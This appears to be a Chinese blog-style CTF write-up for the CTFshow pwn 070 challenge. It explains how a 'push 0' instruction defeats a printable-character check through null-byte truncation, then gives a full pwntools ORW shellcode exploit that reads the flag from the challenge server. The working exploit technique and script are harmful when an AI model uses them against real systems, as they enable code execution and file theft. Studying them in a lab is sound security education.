【CTFshow-pwn系列】03_栈溢出【pwn 070】详解:ORW 与可见字符校验的“截断”逃逸

张开发
2026/6/24 22:20:20 15 分钟阅读
【CTFshow-pwn系列】03_栈溢出【pwn 070】详解:ORW 与可见字符校验的“截断”逃逸
本文仅用于技术研究禁止用于非法用途。Author: 枷锁在经历了pwn 069的 Seccomp 沙盒洗礼后我们已经熟悉了如何使用ORW (Open-Read-Write)链来代替被封杀的execve。但在pwn 070中防御者不仅布下了层层沙盒还在入口处加装了一道“安检门”——is_printable字符可见性校验。这道题的精髓在于如何用一行极简的汇编指令既完成 Shellcode 的逻辑铺垫又顺手“蒙蔽”安检系统的双眼让我们一起来揭开这段“神之一手”的底牌。第一部分环境侦察与防御边界建模1. 检查保护机制 (checksec vs IDA)首先对目标 64 位程序进行防御基准评估~/Desktop .............................................................. at 22:30:00 checksec pwn [*] /home/shining/Desktop/pwn Arch: amd64-64-little -- 64 位核心架构 RELRO: Partial RELRO Stack: No canary found -- 【注意存在检测欺骗】 NX: NX unknown - GNU_STACK missing -- 核心突破口栈具备执行权 (RWX) PIE: No PIE (0x400000) -- 基址固定防御假象揭秘checksec报告显示No canary found但在后续的 IDA 逆向中我们会在函数开头清晰地看到mov rax, fs:28hCanary 栈哨兵的标志性指令。这说明程序实际上开启了栈保护。但幸运的是本题的执行流并不依赖于栈溢出覆盖返回地址。程序在校验通过后会主动将控制权交给我们的缓冲区call rax因此 Canary 保护在这里形同虚设。2. 沙盒限制分析通过汇编中的call set_secommp以及题目的官方提示我们可以断定程序通过 Seccomp 禁用了execve族函数。提权的唯一路径是使用open、read、write系统调用直接读取 Flag 文件。第二部分代码审计与漏洞模型建立1. 汇编代码流拆解 (IDA Pro)进入main函数的核心执行流防守方的逻辑如下; 1. 读取输入 .text:0000000000400AC1 lea rax, [rbps] .text:0000000000400AC5 mov edx, 64h ; 最大允许读取 100 字节 .text:0000000000400ACA mov rsi, rax ; 存入局部缓冲区 s .text:0000000000400ACD mov edi, 0 ; fd stdin .text:0000000000400AD7 call _read ; 执行读取返回实际字节数至 eax ; 2. 【核心细节回车符消除机制】 .text:0000000000400ADC sub eax, 1 ; eax 读取长度 - 1 .text:0000000000400AE1 mov [rbpraxs], 0 ; 将最后一个字节强制替换为 \x00 ; 3. 字符可见性校验 .text:0000000000400AE6 lea rax, [rbps] .text:0000000000400AED call is_printable ; 检查缓冲区是否全为可见字符 .text:0000000000400AF2 test eax, eax .text:0000000000400AF4 jz short loc_400AFE ; 校验失败跳转报错并退出 ; 4. 执行控制流劫持 (The Vulnerability) .text:0000000000400AF6 lea rax, [rbps] .text:0000000000400AFA call rax ; 校验通过直接将缓冲区作为代码执行2. 漏洞建模C 语言的字符串截断盲区在上述看似严密的防御网中存在两个致命的逻辑盲区盲区 1is_printable的空字符截断C 语言处理字符串时默认将\x00空字符作为绝对的结束标志。如果is_printable内部是基于标准字符串遍历逻辑如while(*p)那么只要它扫描到\x00就会立即判定字符串结束并返回校验通过。盲区 2危险的read尾部置零程序在read后执行了buf[eax - 1] 0。这是开发者为了抹除用户敲击的回车符\n而设计的“贴心”逻辑。这意味着如果我们在发送 Payload 时没有追加换行符Shellcode 的最后一个合法机器码就会被强制覆写成\x00从而导致指令损坏崩溃。第三部分破局思路“神之一手”push 0既然 ORW Shellcode 中必然包含大量不可见机器码如syscall的0f 05我们如何绕过这道“安检门”战术核心利用原子汇编指令的巧合我们需要在 Shellcode 的首部注入一条自身属于“可见字符”同时又能产生\x00以欺骗校验函数的指令。在 64 位汇编中push 0是堪称完美的破局之匙push 0 ; 对应的底层机器码为: 6A 00首字节6AASCII 码对应小写字母j完美通过可见字符的初次校验次字节00即\x00。当is_printable检查完j后指针紧接着滑入\x00校验逻辑瞬间判定字符串结束随即放行后续数百字节的非法 Payload更绝妙的连招我们要执行open(/flag, 0)按照 64 位系统调用约定必须将/flag\x00这个完整路径压入栈中。而push 0刚好在栈顶为我们预置了一个现成的字符串结束符Null Terminator一石三鸟设计极具艺术感。第四部分Payload 内存结构可视化为了直观理解这套战术我们来看看 Payload 在内存中的真实排列方式地址增长方向 --- ---------------------------------------------------------------------- | 字节 0 | 字节 1 | 字节 2 ~ 字节 N (不可见机器码) | ---------------------------------------------------------------------- | 6A | 00 | 49 ba 2f 66 6c 61 67 00 00 00 41 52 ... | ---------------------------------------------------------------------- | j (可见)| \x00 | --- 真实的 ORW 提权载荷 (Real Shellcode) --- | ---------------------------------------------------------------------- | | | --- 校验函数 is_printable 在此短路退出判定为“合法” --- CPU 连同后方机器码解析为: push 0 ; mov r15, 0x67616c662f ...第五部分实战 EXP 编写与详解为了解决 ORW 执行后内存失控导致的Core Dump崩溃并彻底剥离无关的乱码我们引入shellcraft构建底层指令并追加exit(0)最后使用 Python 正则表达式精准提取目标。from pwn import * import re # 1. 基础配置 context(archamd64, oslinux, log_leveldebug) # 2. 建立靶机连接 # io process(./pwn) io remote(pwn.challenge.ctf.show, 28175) # 3. 构造内嵌“安检旁路”的 ORW Shellcode # 巧妙利用 push 0 (6a 00) 的机器码特性绕过 is_printable 校验 shellcode_asm push 0\n # 6a 00安检逃逸栈截断铺垫 shellcode_asm shellcraft.open(/flag) # SYS_open(/flag) shellcode_asm shellcraft.read(rax, rsp, 0x100) # 将读取的内容暂存入当前栈顶 shellcode_asm shellcraft.write(1, rsp, 0x100) # 将栈顶数据输出至屏幕 shellcode_asm shellcraft.exit(0) # 优雅退出防止非法指令引发 Core Dump shellcode asm(shellcode_asm) # 4. 执行注入 io.recvuntil(bWelcome,tell me your name:\n) # 【防破坏机制】必须使用 sendline 而非 send # 针对程序中 buf[eax - 1] 0 的截断逻辑。 # sendline 自动追加的 \n 刚好充当了程序的“替死鬼”保护了 Shellcode 尾部指令不被破坏。 log.info([*] 发送带截断特效的 ORW Shellcode...) io.sendline(shellcode) # 5. 接收果实与精准提取 # 注意ORW 载荷的作用是单向输出文件无法提供交互式 Shell log.success([] 正在捕获 ORW 输出的数据流...) # recvall 接收直到程序退出因为我们写了 exit(0) flag_output io.recvall(timeout2).decode(errorsignore) # 剔除因为 write(0x100) 产生的多余栈内存乱码精准命中 flag 字符串 match re.search(rctfshow\{.*?\}, flag_output) if match: print(\n\033[1;32m[] 完美捕获 Flag\033[0m) print(match.group(0)) else: print(\n[?] 未找到 Flag请检查原始数据流) print(flag_output)第六部分总结pwn 070 是一个极具教学意义的实战模型。它告诉我们 在二进制对抗中汇编指令不仅是让 CPU 执行的动作指令也是在内存中流淌的数据。学会利用数据的“双重身份”制造认知偏差是每一位高阶二进制研究者的必修课。宇宙级免责声明 重要声明本文仅供合法授权下的安全研究与教育目的1.合法授权本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法可能导致法律后果包括但不限于刑事指控、民事诉讼及巨额赔偿。2.道德约束黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范仅用于提升系统安全性而非恶意入侵、数据窃取或服务干扰。3.风险自担使用本文所述工具和技术时你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。4.合规性确保你的测试符合当地及国际法律法规如《计算机欺诈与滥用法案》CFAA、《通用数据保护条例》GDPR等。必要时咨询法律顾问。5.最小影响原则测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。6.数据保护不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息应立即报告相关方并删除。7.免责范围作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。 安全研究的正确姿势✅ 先授权再测试✅ 只针对自己拥有或有权测试的系统✅ 发现漏洞后及时报告并协助修复✅ 尊重隐私不越界⚠️ 警告技术无善恶人心有黑白。请明智选择你的道路。

更多文章